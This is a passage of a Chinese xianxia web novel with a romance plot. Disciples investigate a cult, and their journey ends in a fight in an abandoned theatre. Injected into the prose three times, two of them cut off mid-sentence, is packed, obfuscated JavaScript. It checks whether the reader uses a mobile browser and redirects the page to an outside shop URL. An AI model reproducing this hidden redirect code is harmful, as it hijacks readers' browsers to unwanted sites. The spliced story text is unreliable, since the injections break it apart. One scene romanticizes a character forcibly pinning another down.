东方潭瑞咬着糖葫芦含糊道:“说起来,你们师尊给的路上用的钱,真的够花吗?我哥这次直接拿了东方家的门面,想买啥买啥。” 峰羽苦笑:“我师尊只给了一袋碎银,省着点用才行。” 白剑雪淡淡点头:“我也是。” 严珩挑眉:“我严府的家底,还用得着师尊给?”他说着,从怀里掏出一锭沉甸甸的金子,“随便花。” 东方潭瑞“哇”了一声:“严府果然财大气粗。” 这时,东方潭瑞转头看向宥鲤,坏笑着问:“那你呢?云清君给了你多少?” 宥鲤愣了下,从袖中摸出一个小荷包,随手丢到桌上。 荷包一倒,“哗啦”一声,一堆银票滑了出来,面额大得惊人。 峰羽:“……” 白剑雪:“……” 东方潭瑞:“……” 严珩挑了挑眉,似笑非笑:“看来,云清君对你不是一般的偏心啊。” 东方潭瑞掰着手指算了算,惊道:“这……这比我们所有人的加起来还多五倍不止!” 宥鲤淡淡道:“师尊说,路上危险,多带点钱防身。” 严珩眼底闪过一丝笑意,低声对他道:“防身?怕是怕你饿肚子吧。” 宥鲤耳尖微微泛红,别开了视线。 东方潭瑞夸张地叹道:“唉,同人不同命啊。” 东方如光瞥了他一眼,把一串糖葫芦塞到他手里:“闭嘴,吃你的。” 夜色渐深,灯会的人群渐渐散去,街道上只剩下零星的行人与还未熄灭的花灯。 众人并肩走回客栈,东方潭瑞还在兴致勃勃地讲刚才猜灯谜赢到的小玩意儿,东方如光偶尔应一句,峰羽和白剑雪则在前面低声讨论明日的行程。 宥鲤和严珩走在最后。 人潮退去的石板路有些湿滑,晚风带着花香拂过。严珩侧头看了宥鲤一眼,忽然伸出手,在人群的掩护下,轻轻握住了他的手。 宥鲤一怔,本能地想抽回,却被严珩握得更紧。 “人多,别走丢了。”严珩低声道,语气随意得像是在说一件再平常不过的事。 宥鲤垂眸,没说话,手指却也慢慢放松下来。 两人的影子被花灯拉得很长,交叠在一起,仿佛也被这夜色悄悄系在了一起。 走到客栈门口,严珩才松开手,像什么都没发生过一样,转身推门:“走吧,明天还有得忙呢。” 宥鲤跟在他身后,心里却莫名平静了许多。 客栈的走廊很安静,只听见外面风掠过窗棂的低鸣。 宥鲤推开门,反手关上,还没来得及点灯,身后就传来一阵极轻的脚步声。 他猛地转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261162|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身—— “你——” 话还没说完,一股力量从侧面袭来,他的手腕被牢牢扣住,整个人被压向床沿。 “别动。” 那声音低沉,带着熟悉又陌生的冷意。 宥鲤瞳孔骤缩——这是宥风的声音,可他的眼神……不对。那是一种他从未见过的凌厉与占有。 “宥风,你——” “别叫错名字。”对方的指尖轻轻划过他的下颌,像是在提醒,又像是在惩罚,“我是琅风。” 宥鲤的背脊瞬间绷紧。 “你……想做什么?” 琅风低下头,近得能看清他睫毛的影子,唇角却带着一丝若有若无的笑。 “想做什么?”他重复了一遍,像是在玩味这个问题,“我只是想提醒你——” 他的手微微用力,将宥鲤按得更紧。 “——别试图逃离我。” 窗外的风忽然大了,吹动了帘子,光影在两人之间摇曳。 宥鲤的呼吸乱了,心跳像被人攥在手里。他想挣扎,却被对方的力量牢牢锁住。 “你以为,煞玄会放过你?”琅风的声音低得像耳语,“你是他的棋子……也是我的。” 宥鲤抬眼,直直盯着他:“你和他,有什么区别?” 琅风的眼神沉了沉,下一刻,他松开了宥鲤的手,却俯身贴近他的耳侧,一字一顿地说—— “区别是,我不会利用你……我会占有你。” 宥鲤的指尖发凉,他第一次发现,这个一直在自己身边的“弟弟”,比煞玄还要危险。 宥鲤被按在床上,手腕还隐隐作痛。他盯着天花板,胸口起伏渐渐平稳——不是因为接受,而是因为真的累了。 好不容易有了一人一间的安静,他只想闭眼休息,不想再跟任何人斗智斗勇。 “你要怎样?”他的声音很淡,像在问一件无关紧要的事。 琅风挑了挑眉,似乎没想到他会这么快放弃挣扎,唇角的笑意更深了。 “这样才乖。” 他松开宥鲤的手,却没有离开,反而俯身撑在他上方,像是在审视一件属于自己的宝物。 “我要怎样?”琅风低声重复,“我要你记住——你是我的。” 宥鲤侧过脸,避开他的视线,语气冷得像结了冰:“你说完了吗?说完就出去。” “出去?”琅风轻笑,“好不容易能单独相处,我可没打算浪费时间。” 他伸手,将床头的灯调暗,光影立刻变得暧昧起来。 “你……”宥鲤皱眉,却没有再反抗。 琅风像是得到了默许,动作更放得开,手指轻轻掠过宥鲤的鬓角,又缓缓滑到他的下颌,迫使他转过头来。 “看着我。” 宥鲤的眼神平静无波,可琅风却像被这双眼睛勾住了魂,呼吸渐渐急促。 “你累了,我知道。”他的声音忽然低下来,带着一丝不易察觉的克制,“那就好好休息……我在这。” 他说着,侧身躺在宥鲤身边,手臂自然地搭在他的腰上,像在宣告主权,又像在守护。 宥鲤闭了闭眼,没推开,也没回应。 外面的风渐渐停了,屋内只剩下两人平稳的呼吸声。 半夜,宥鲤从一阵短暂的浅眠中醒来。窗外的月光透过半掩的窗棂,在床沿投下一道清冷的光影。 他微微侧头——身边的位置已经空了,被褥还残留着一点温度。 “……走了?”宥鲤低声呢喃。 他撑起身体,正准备下床倒水,忽然瞥见床头的矮柜上,静静放着一朵黑色蔷薇。花瓣在月光下泛着幽光,像是在夜色中盛开的暗火。 蔷薇旁边,压着一张折得很整齐的字条。 宥鲤伸手拿起,展开—— “明天,别离开我身边。” 字迹锋利,带着不容置疑的凌厉,就像它的主人。 宥鲤盯着那行字,沉默了很久。指尖摩挲着纸张的边缘,像是在确认它的真实。 片刻后,他将字条折好,放进枕下。 窗外的风轻轻吹动帘影,他重新躺下,闭上眼,却怎么也睡不着。 67. 十三 第二天清晨,客栈大堂里,众人正收拾行装准备出发。 严珩端着一碗热粥走过来,见宥鲤脸色有些苍白,眉峰一皱。 “昨晚没睡好?” 宥鲤淡淡看了他一眼:“还好。” “还好?”严珩放下粥,双手抱臂,“你眼下青得都能画眼影了。” 宥鲤没接话,低头喝粥。 严珩凑近些,压低声音:“是不是昨晚有人来找你?” 宥鲤的手一顿,抬眼:“你问这个做什么?” “关心你啊。”严珩说得理所当然,“你房间昨晚有没有动静?有没有人进来?” 宥鲤眉头皱得更紧:“严珩。” “嗯?” “你管得太宽了。”宥鲤放下碗,语气冷下来。 严珩却不以为意,反而笑得有点痞:“我这是担心你。说吧,是不是宥风?” 宥鲤的眼神瞬间沉了下去。 “不是。” “那是谁?”严珩穷追不舍,“你昨晚……” “够了。”宥鲤猛地打断他,站起身,“我不想说。” 严珩愣了一下,随即挑眉:“怎么?我问两句就生气了?” 宥鲤侧过脸,不再看他,语气冷得像结了冰:“我现在不想说话。” “宥鲤——” “闭嘴。” 这一声冷喝,让大堂里瞬间安静下来。东方潭瑞和峰羽对视一眼,识趣地移开视线。 严珩张了张嘴,却被宥鲤那双眼盯得说不出话。那里面没有愤怒的火焰,只有一种彻底的疏离,像隔着千山万水。 半晌,宥鲤提起剑,径直走向门口。 “走了。” 他的背影冷而直,像一道隔绝了所有人的墙。 严珩站在原地,握着空碗,脸色沉得能滴出水来。 东方潭瑞凑过来,小声道:“你啊,问得太多了。” 严珩冷笑一声:“我只是关心他。” “关心也要看人家想不想听。”东方如光淡淡补刀。 严珩抿了抿唇,没再说话。可眼底那股探究与不甘,却一点也没减少。 上路后,晨雾还未散尽,山道湿滑,众人沿着曲折的小路缓缓前行。 严珩故意放慢脚步,与宥鲤并肩而行。 “这山路真难走,你小心脚下。”严珩笑着说。 宥鲤不吭声,只专心看着前方。 “你早餐没吃几口,等会儿到前面小镇,我请你吃包子?”严珩锲而不舍。 宥鲤:“……” “昨晚的事——”严珩刚开口,就被宥鲤冷冷地瞥了一眼。 那眼神像在说:你再提一句试试。 严珩识趣地换了个话题:“你那把剑,上次磨了没?我可以帮你——” “不用。”宥鲤终于开口,声音冷得像冰。 “哦。”严珩被噎了一下,但没放弃,“那你渴不渴?我带了水——” “不渴。” “那……”严珩挠挠头,“你冷不冷?” 宥鲤停下脚步,转头看他,眼神像在审问犯人:“严珩,你很闲?” “啊?” “很闲的话,去帮峰羽搬行李。”宥鲤说完,绕过他,径直往前走。 严珩愣在原地,半晌才追上去,笑嘻嘻道:“我不搬,我就想跟你走一块儿。” 宥鲤干脆加快了脚步,把他甩在身后。 严珩看着他的背影,嘴角的笑意淡了几分,却还是跟了上去。 前面,峰羽和白剑雪走在一起,小声议论—— 峰羽:“严珩这是……热脸贴冷屁股啊。” 白剑雪淡淡道:“他乐在其中。” 晨雾未散,山道湿滑。众人翻身上马,马蹄声在空旷的山谷里回荡。 宥鲤单手勒着缰绳,另一只手垂在身侧,指尖还残留着昨夜那朵黑色蔷薇的触感。 ——“明天,别离开我身边。” 琅风的字迹在脑海中一遍遍浮现,像锋利的刀锋,刻在他的思绪里。 他皱了皱眉,视线落在前方蜿蜒的山路,心里却不由自主地回到昨晚的画面——那股不容拒绝的气息,那双带着占有欲的眼,还有那句低沉的宣告。 “你是我的。” 宥鲤闭了闭眼,深吸一口气。他不想去想,可越是压抑,记忆就越清晰。 “在想什么?”严珩的声音忽然从旁边传来,他骑着马与宥鲤并行,眼底带着探究。 宥鲤侧过头,淡淡道:“没什么。” “真的没什么?”严珩挑眉,“你从早上到现在都没怎么说话。” 宥鲤没有回答,双腿轻轻一夹马腹,加快了速度。马蹄溅起的泥水落在路边的草丛里,他的背影很快拉开了距离。 严珩看着他远去的方向,唇角的笑意慢慢收了起来。 而宥鲤的思绪,却再次飘回那张字条——还有那个在夜里留下字条的人。 他知道,这一路上,琅风不会真的离开他身边。 正赶路间,前方忽然传来一阵急促的喊杀声。 “有人劫镖!”东方潭瑞第一个反应过来,策马冲了上去。 众人紧随其后,转过一个山弯,便见几辆镖车翻倒在路中央,木箱散落一地,金银珠宝滚得满道都是。几名镖师正与一群黑衣人缠斗,刀光剑影间,鲜血溅落在湿滑的路面上。 宥鲤眼神一凛——其中一个黑衣人动作极快,轻功诡异,出招狠辣,显然不是普通的山贼。 更让他在意的是,那人腰间挂着一块黑色玉佩,雕着一朵盛放的蔷薇,花纹与昨夜那朵黑色蔷薇几乎一模一样。 是煞玄的人。 “严珩,左边!”宥鲤低喝一声,翻身下马,长剑出鞘,银光一闪,直取那名黑衣人的咽喉。 黑衣人显然没想到会遇到这样的对手,仓促应战,却在宥鲤凌厉的剑势下连连后退。 “你是谁派来的?”宥鲤冷声问道。 黑衣人冷笑一声,不答,反而虚晃一招,转身欲逃。 “想走?”严珩的声音从侧面传来,他手中长枪横扫,逼得黑衣人退无可退。 就在两人夹击之下,黑衣人忽然从怀中掏出一枚黑色令牌,朝空中一抛。令牌炸开,化作一团黑雾,瞬间笼罩了四周。 “小心!”峰羽大喊。 黑雾散去后,黑衣人已经不见踪影,只剩下那块黑色蔷薇玉佩,静静躺在地上。 宥鲤弯腰捡起,指尖摩挲着冰凉的玉佩,眼底闪过一丝冷意。 “看来,我们离煞玄越来越近了。” 黑雾散尽,四周又恢复了湿冷的晨色。镖师们惊魂未定地收拾残局,东方潭瑞和峰羽帮忙扶起翻倒的镖车。 宥鲤将玉佩递给严珩:“你看。” 严珩接过,眯眼打量片刻:“这花纹……和你昨晚那朵蔷薇很像。” “不是像,是一模一样。”宥鲤语气笃定,“这是煞玄的标记。” 白剑雪走近,声音冷淡:“看来他们开始在这一带活动了。” “可他们为什么要劫镖?”东方潭瑞挠挠头,“这些镖车……看起来就是普通的金银货物,不像是和煞玄有关的东西。” 峰羽皱眉:“也许是障眼法。用劫镖引我们出来,或者……在试探我们的实力。” 严珩将玉佩抛回给宥鲤,眼神锐利:“不管目的是什么,这说明他们已经盯上我们了。” 宥鲤点了点头,将玉佩收入怀中:“从现在开始,所有人都要小心。” “小心是应该的,”东方如光缓缓开口,“但我们也不能被动挨打。既然他们留下了线索,不如顺着查下去。” “怎么查?”东方潭瑞立刻来了兴趣。 白剑雪淡淡道:“先找镖头问问,这批货的来历、路线,还有他们是否得罪过什么人。” 峰羽补充:“还有,这玉佩的花纹,说不定在附近的镇上有人认得。” 严珩看向宥鲤:“你怎么看?” 宥鲤沉默片刻,低声道:“先安顿镖队,然后按你们说的查。但——” 他顿了顿,目光扫过众人:“——不要单独行动。” 严珩挑眉:“包括你吗?” 宥鲤冷冷瞥了他一眼,没回答。 东方潭瑞打了个哈哈:“好了好了,大家都别吵。先救人、修车,再去镇上打听消息。” 众人各自行动,只有严珩还站在原地,看着宥鲤的背影,若有所思。 镖车的破损已基本处理好,镖师们惊魂未定地在路边休息。 白剑雪走到众人面前,语气平静:“这事不简单,我们最好先把情况通报给万归宗。” “通报?”东方潭瑞一愣,“可我们现在还没弄清对方的真正目的啊。” 峰羽摇头:“正因如此,才要让宗门知道。他们或许有更多关于煞玄的情报,也能派更多人手支援。” 严珩挑眉:“你是怕我们几个人应付不来?” 白剑雪淡淡看了他一眼:“谨慎一点总没错。” 宥鲤沉默片刻,点头道:“白剑雪说得对。派人回宗门报信,顺便把这玉佩的图样也送去,看他们是否认得。” “那派谁回去?”东方潭瑞问。 “我去吧。”峰羽主动开口,“我的轻功快,往返用不了多久。” “我跟你一起。”东方如光立刻跟上。 白剑雪点头:“好,你们即刻动身。路上小心。” 严珩看向宥鲤:“那我们呢?” 宥鲤道:“我们继续护送镖队到镇上,按计划查线索。等峰羽他们带回消息,再决定下一步。” 严珩笑了笑:“听起来,你终于学会不让自己一个人去冒险了。” 宥鲤没理他,转身对镖头交代注意事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在他准备离开时,身后忽然传来一个低沉的声音—— “你在找什么?” 宥鲤猛地转身,火折子的光映出严珩似笑非笑的脸。 “你怎么在这?”宥鲤冷声问。 “路过啊。”严珩耸肩,“顺便看看你是不是又一个人去冒险。” 宥鲤皱眉:“出去。” “别急着赶人。”严珩走近两步,“我帮你看过了,这里什么都没有。” 宥鲤沉默片刻,收起火折子,转身离开。 两人一前一后走出古玩铺,夜色和雨声吞没了他们的脚步声。 回到客栈,宥鲤关上房门,背靠门板站了很久。 ——还是什么都没找到。 第二天清晨,客栈的大堂还没完全热闹起来,白剑雪就已经从外面回来了。 他一进门,目光就落在正独自喝茶的宥鲤身上。 “有消息。”白剑雪坐下,语气冷静。 宥鲤抬眼:“说。” “这批镖的真正收货方,是煞玄。” 大堂里的空气瞬间凝固。 严珩刚端着包子走过来,听到这话动作一顿:“你确定?” 白剑雪点头:“镖头一开始不肯说,我用了点手段。” 东方潭瑞凑过来:“那货物呢?真是金银珠宝?” “不是。”白剑雪摇头,“那些只是幌子。真正的货物,是一件被封存在密匣里的古物——” 他顿了顿,声音压低:“——不知明教冠。” 宥鲤的指尖微微一紧,茶杯发出一声轻响。 “教冠?”严珩皱眉,“那是什么东西?” 白剑雪看向宥鲤:“据说,是一件已经失踪了近千年的邪器。戴上它的人,可以操纵被封印的力量……但代价极大。” 宥鲤沉默片刻,低声道:“这东西,绝不能落入煞玄手里。” 严珩冷笑:“可他们已经动手了。” 白剑雪点头:“镖头说,货在半路被掉包了。也就是说——教冠很可能已经在煞玄手上。” 东方潭瑞脸色一变:“那我们现在怎么办?” 宥鲤站起身,目光冷锐:“峰羽和东方如光已经回万归宗报信,我们——” 他顿了顿,语气坚定:“——继续追查教冠的下落。” 严珩挑眉:“这次,不会再一个人行动了吧?” 宥鲤看了他一眼,没有回答,转身就走。 白剑雪收拾好东西跟上,东方潭瑞连忙喊:“等等我啊!” 大堂里只剩下严珩一人,他看着三人的背影,嘴角慢慢勾起一丝笑意。 ——事情,变得越来越有趣了。 68. 十四 过了几日…… 客栈门口,四人站在晨雾中,气氛凝重。 白剑雪将任务分配得井井有条:“我和东方潭瑞先去瑶花镇,调查妖兽群暴乱的原因。这是宗门交代的主要任务,不能耽误。” 东方潭瑞点点头,拍了拍严珩的肩膀:“你们俩,别光顾着查教冠,也注意安全啊。” 严珩笑了笑:“放心,我们命大。” 宥鲤看了他们一眼:“去吧。有情况,传信联系。” 白剑雪点头,与东方潭瑞转身离去。 看着他们走远,严珩转向宥鲤:“那我们呢?直接去找煞玄的人?” 宥鲤“嗯”了一声,迈步向前:“先去镇上的镖局,再问问有没有漏掉的细节。” “好。”严珩跟上,“不过——”他话锋一转,“你昨晚一个人去古玩铺,收获如何?” 宥鲤淡淡道:“一无所获。” “我就说嘛,”严珩笑嘻嘻,“早跟你说我陪你去——” “闭嘴。”宥鲤冷冷打断。 严珩不以为意,反而压低声音:“你是不是有什么事瞒着我?” 宥鲤脚步一顿,侧头看他:“比如?” “比如昨晚谁来找你,比如你为什么这么在意那块玉佩,比如——”严珩的眼神带着探究,“——琅风。” 严珩怎么会知道这个,宥鲤心想。 宥鲤的表情瞬间冷了下来:“严珩,你再问这些,我现在就把你丢在这。” 严珩举手投降:“行行行,我不问了。” 两人一路沉默,来到镖局。镖局的人还在收拾残局,镖头见他们来了,连忙迎上。 “二位英雄,有何贵干?” 宥鲤开门见山:“除了玉佩和教冠,你还有没有其他没说的线索?” 镖头犹豫片刻,压低声音:“其实……昨晚有人在客栈附近打听你们的行踪。” 严珩挑眉:“谁?” “看不清脸,戴着斗笠。”镖头道,“不过我听他问起过‘宥鲤’这个名字。” 宥鲤的眼神瞬间变得锐利。 离开镖局时,严珩道:“看来,有人盯上你了。” 宥鲤没说话,指尖却在袖中微微一动——那里,正藏着一封刚刚收到的传信。 他趁严珩不注意,迅速展开。纸上只有七个字—— “教冠,今晚现身。” 字迹锋利,墨色未干。 宥鲤眼底闪过一丝冷光,将纸重新折好,藏回袖中。 “怎么了?”严珩注意到他的神色变化。 “没什么。”宥鲤淡淡道。 “真的没什么?”严珩逼近一步,“你眼睛都亮了,肯定有情况。” 宥鲤侧过脸,避开他的视线:“我说了,没有。” “宥鲤——” “闭嘴。”宥鲤的声音冷得像冰,“想查教冠,就跟紧我。不想查,你可以走。” 严珩看着他几秒,忽然笑了:“我当然跟紧你。” 宥鲤没再说话,迈步向前。 可袖中的那封传信,却像一块烙铁,烫得他的手心微微发热。 傍晚的风带着湿冷的气息,小镇的街道渐渐安静下来。 宥鲤和严珩沿着传信上的暗示一路查探,终于在镇东的一处偏僻小巷里,找到了那座废弃的戏楼。 戏楼的朱漆早已剥落,檐角的铜铃在风里发出干涩的声响。木门半掩,像是在无声地邀请他们进去。 “看来就是这里了。”严珩双手抱胸,挑眉笑道,“说不定会遇到你‘弟弟’。” 宥鲤的脚步猛地一顿。 弟弟——这两个字,在他的脑海里炸开。 不是宥风。 是琅风。 那是他血脉中无法割舍的另一半,也是他最不愿面对的名字。 他的脸色沉了下去,眼神像被冰覆住,冷得让人不敢直视。 严珩看在眼里,嘴角的笑意微微收敛,但还是故作轻松地说:“怎么?被我说中了?” 宥鲤没有回答,只是一步步走向戏楼。可就在他抬手推门的那一刻,严珩忽然伸手按住了他的手腕。 “宥鲤。” 宥鲤回头,声音低沉:“放手。” “你还打算瞒我多久?”严珩的目光直直锁住他,“你以为我什么都不知道吗?” 宥鲤的指尖微不可察地抖了一下,袖口里的传信似乎更烫了。他别开脸,冷冷道:“严珩,你知道我多少秘密?” 严珩笑了笑,带着点戏谑:“这个嘛——” 他故意拖长了声音,像是在吊人胃口。 宥鲤却没有再逼问,只是转身推开了戏楼的门。吱呀一声,灰尘在昏黄的光里飘散。 戏楼内部空空荡荡,舞台上挂着残破的帷幕,角落里堆着废弃的锣鼓。风吹过,帷幕轻轻晃动,像是有人躲在后面窥视。 宥鲤的呼吸有些乱。 他知道,这里很可能就是琅风约他见面的地方。 而琅风—— 他的弟弟。 不,不是弟弟。 是煞玄的另一个棋子。 他的脑海中闪过无数片段——血煞魔教的大殿,父亲冷漠的眼神,宥风站在一旁沉默如影……还有那个笑得温柔、却在他背后拔刀的少年。 “你在想什么?”严珩的声音忽然响起。 宥鲤猛地回神,却没发现自己的手已经在微微发抖,眼眶也因情绪的压抑而泛着红。 严珩原本打算继续卖关子,可在看到他这副模样时,心头像是被什么揪了一下。 他叹了口气,收起了玩笑的神色。 “好吧,我输了。” 宥鲤的目光一凛:“什么意思?” “我知道的,比你想象的多。”严珩低声道,“比如——你是血煞魔教教主煞玄的独子。” 宥鲤的身体一僵。 “比如——你和宥风并非亲生兄弟。”严珩的声音压得更低,“宥风,是煞玄的护法,一千九百岁,修行了一千九百年。那年,他被煞玄秘密安插在你身边,名为护卫,实为监视。” 每一个字,都像一把锤子,重重砸在宥鲤的心上。 他想否认,可喉咙像被堵住,发不出任何声音。 “还有……”严珩顿了顿,眼神复杂地看着他,“你心魔的事。” 宥鲤猛地抬头,眼中闪过一丝狠厉:“你调查我?” “不是调查。”严珩摇头,“是……偶然得知。” “偶然?”宥鲤冷笑,可声音里带着无法掩饰的颤抖,“严珩,你到底想干什么?” “我不想干什么。”严珩直视着他,“我只是想告诉你——不管你是谁的儿子,不管你心里有多少黑暗,我都不会把你推回去。” 宥鲤的手指攥得发白,他的胸口剧烈起伏,像是在与某种无形的力量搏斗。 风从破洞里灌进来,吹动帷幕,发出沙沙的声响。 良久,宥鲤才缓缓开口,声音低得几乎被风淹没:“严珩,你不该知道这些。” “可我已经知道了。”严珩微微一笑,“所以,别再一个人扛着了。” 宥鲤没有回答。 他只是转过身,重新望向那片漆黑的舞台深处。 到了晚上。 夜色沉沉,废弃戏楼的四周一片死寂。 舞台上的帷幕忽然被一阵阴风掀开,一个身影缓缓走了出来。 是琅风。 他的脚步很轻,却每一步都像踩在宥鲤的心口上。 可他的眼神—— 不再是宥鲤记忆中那个带笑的少年,而是一片冰冷的漆黑,仿佛被某种力量掏空了所有温度。 “琅风……”宥鲤低声唤道。 琅风微微侧头,嘴角勾起一抹若有若无的弧度,却没有回应他的名字。 “看来,记忆已经归位了。”一个低沉的声音从黑暗中传来。 煞玄缓缓现身,黑袍在风中猎猎作响,那双眼睛如同深渊,让人望而生畏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261164|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “父亲……”宥鲤的声音冷得像冰。 煞玄没有看他,而是将目光落在琅风身上,语气带着一丝满意:“琅风,你还记得自己是谁吗?” 琅风低下头,单膝跪地,声音恭敬得近乎机械:“属下琅风,参见教主。” 宥鲤的瞳孔猛地收缩。 他知道,这意味着什么。 ——煞玄,重起了琅风的记忆。 那个曾经与他并肩作战、互称兄弟的少年,虽然有过矛盾和一些事情的误解,但如今只是煞玄麾下的一枚棋子。 “你对他做了什么?”宥鲤的声音里带着压抑的怒意。 煞玄终于看向他,嘴角勾起一抹冷笑:“我只是让他记起了真正的使命。” 琅风抬起头,目光直直锁住宥鲤,那眼神中没有丝毫昔日的温情,只有冷漠的审视。 “宥鲤,”他缓缓开口,“你是教主的儿子,也是我必须带回的人。” 宥鲤的胸口像被重锤击中,他几乎是本能地后退了一步。 严珩上前一步,挡在宥鲤身前,冷声道:“想带走他,先过我这一关。” 琅风的目光在严珩身上停留了一瞬,然后转向宥鲤,语气不容置疑:“跟我走。” 宥鲤死死盯着他,手指因用力而微微颤抖。 ——他想伸手,却又不敢。 因为他知道,眼前的琅风,已经不是他认识的那个人了。 空气骤然凝固。 琅风的身影在舞台上一闪,手中剑光如流星般划破黑暗。那是宥鲤无比熟悉的剑路——快、狠、准,没有一丝多余的动作。 “小心!”严珩一声低喝,将宥鲤推开,自己硬生生接下一剑。火星四溅,他的手臂被剑气划出一道深可见骨的伤口。 宥鲤的瞳孔骤然收紧,“严珩!” “我没事!”严珩咬牙,反手一刀劈向琅风。可刀还未落下,琅风已如鬼魅般避开,剑锋直指宥鲤咽喉。 宥鲤侧身堪堪躲过,肩头却被划开一道血口,鲜血瞬间染透了衣袖。 他的心口像被刀绞——不是因为伤口,而是因为这一剑来自琅风。 “琅风,你……”宥鲤的声音带着颤抖,“你真的不记得我了吗?” 琅风眼神冰冷,没有丝毫犹豫:“我只记得使命。” 话音未落,他猛然踏前一步,剑势如潮,将宥鲤逼得连连后退。 严珩见状,从旁疾冲而上,试图夹击。可就在此时,舞台两侧的阴影中突然冲出数名黑衣人,手中长刀寒光闪烁。 “是煞玄的人!”严珩低吼。 宥鲤咬紧牙关,双掌齐出,将一名黑衣人震退。可下一刻,琅风的剑已逼近他的眼前,他只能勉强用手臂格挡,金属与骨骼的碰撞声让他手臂发麻。 汗水顺着额头滑落,视线因失血而开始模糊。宥鲤的呼吸越来越急促,他知道——他们落了下风。 “宥鲤!退!”严珩一刀逼退两名黑衣人,可背后又被另一名敌人踹中,重重撞在柱子上。 宥鲤想上前支援,却被琅风死死缠住。剑光在他眼前交织成一张密不透风的网,每一次碰撞都让他的气血翻涌。 他的脑海中闪过无数画面——小时候琅风替他挡下的那一剑、两人在雪地里的笑闹、还有那句“我会一直保护你”。 可现在,那个说要保护他的人,却要置他于死地。 “琅风……”宥鲤的声音低沉而嘶哑,“你真的……什么都不记得了吗?” 琅风的剑势微不可察地顿了一瞬。 就是这一瞬,宥鲤抓住机会,猛然一掌击向他的胸口。琅风被震退两步,眼神终于出现了一丝波动。 可下一刻,他的目光又恢复了冰冷,手中长剑再次抬起。 “看来,今天我们得拼了。”严珩擦去嘴角的血迹,站到宥鲤身边,“不管他是谁,挡路就砍。” 宥鲤深吸一口气,握紧了手中的刀。 舞台上,风声、刀光、剑光交织,一场生死之战,才刚刚开始。 69. 十五 刀光与剑气在舞台上交织,风声中夹杂着血的腥味。 宥鲤的手臂已经麻木,伤口渗出的血顺着刀柄滴落在地。他的呼吸越来越急促,眼前的景象开始晃动。 “宥鲤!”严珩的声音突然从侧面传来,他的刀硬生生架住了琅风的剑,火花四溅。 可下一刻,一名黑衣人从背后袭来,长刀直取严珩的后心。 “小心!”宥鲤几乎是本能地冲了过去,却被另一名敌人挡下,只能眼睁睁看着那刀逼近。 就在刀尖即将触及严珩的瞬间—— 轰! 一股炽热的气浪猛然从他体内爆发,舞台上的空气像被点燃,温度瞬间飙升。 严珩的双目骤然睁开,瞳孔中倒映着跳动的火光。 他的掌心缓缓抬起,火红色的灵力在皮肤下涌动,像有无数细小的火焰在经脉中奔涌。 ——大雪初霁,朝阳门山门外,阳光洒在雪地上,贺兼摇着扇子对他说: “玄火神法不是用来炫耀的,是用来保护你想保护的人。” 那句话,此刻像一道惊雷,在他的脑海中炸开。 “玄火——凝!” 烈焰骤然在他掌心中汇聚,化作一只展翅的火鸟,带着尖锐的鸣叫冲向那名黑衣人。 黑衣人甚至没来得及反应,整个人便被火焰吞没,发出一声凄厉的惨叫。 火鸟掠过,余焰溅落在舞台的木柱上,瞬间燃起熊熊大火。 严珩的呼吸粗重,可眼神却前所未有的坚定。 他转头看向宥鲤,嘴角勾起一抹笑:“我不会让你有事的。” 宥鲤怔住了。那一瞬间,他几乎忘了伤口的疼痛,只觉得舞台上的火光映在严珩的脸上,像是给他镀上了一层金色的光辉。 而琅风的目光,在看到那团火时,终于出现了明显的波动。 火光照亮了整个舞台,木梁上的灰尘被热浪卷成漩涡。 严珩和宥鲤背靠背站着,呼吸急促,身上的伤口不断渗血。四周的黑衣人已经倒下一片,但更多的身影还在从黑暗中涌出,像潮水般没完没了。 琅风站在火光的另一侧,手中长剑滴血,眼神冰冷得像千年寒冰。可不知为何,他的剑势比之前慢了半分,似乎在克制着什么。 就在这时—— “够了。” 一个低沉而威严的声音,从戏楼的阴影深处传来。 那声音不高,却仿佛带着某种魔力,让整个戏楼瞬间安静下来。连燃烧的火焰似乎都收敛了几分。 严珩和宥鲤同时心头一紧。 下一刻,一道黑影从黑暗中缓缓走出。 是玄煞。 黑袍在火光中泛着冷光,他的步伐不快,却每一步都像踩在众人的心口上。四周的黑衣人纷纷单膝跪地,不敢抬头。 “一群废物。”玄煞的目光扫过地上的尸体和还在喘息的手下,语气中带着彻骨的寒意。 他抬手,轻轻一挥。 轰—— 一股无形的气浪猛然扩散开来,严珩和宥鲤甚至来不及反应,便被这股力量掀飞,重重撞在舞台两侧的木柱上。 “咳——”宥鲤咳出一口鲜血,胸口像被巨石压着,连呼吸都变得困难。 严珩挣扎着想站起来,却发现双腿像灌了铅,体内的玄火灵力也被这股力量压制得无法运转。 玄煞缓缓走向他们,目光像在看两只待宰的蝼蚁。 “宥鲤,你真是让我失望。”他的声音低沉,“我本以为,你会明白自己的使命。” 宥鲤抬起头,眼神中带着不屈的怒火:“我的使命,不是成为你的傀儡。” 玄煞笑了,却没有丝毫温度:“那你就只能死在这里。” 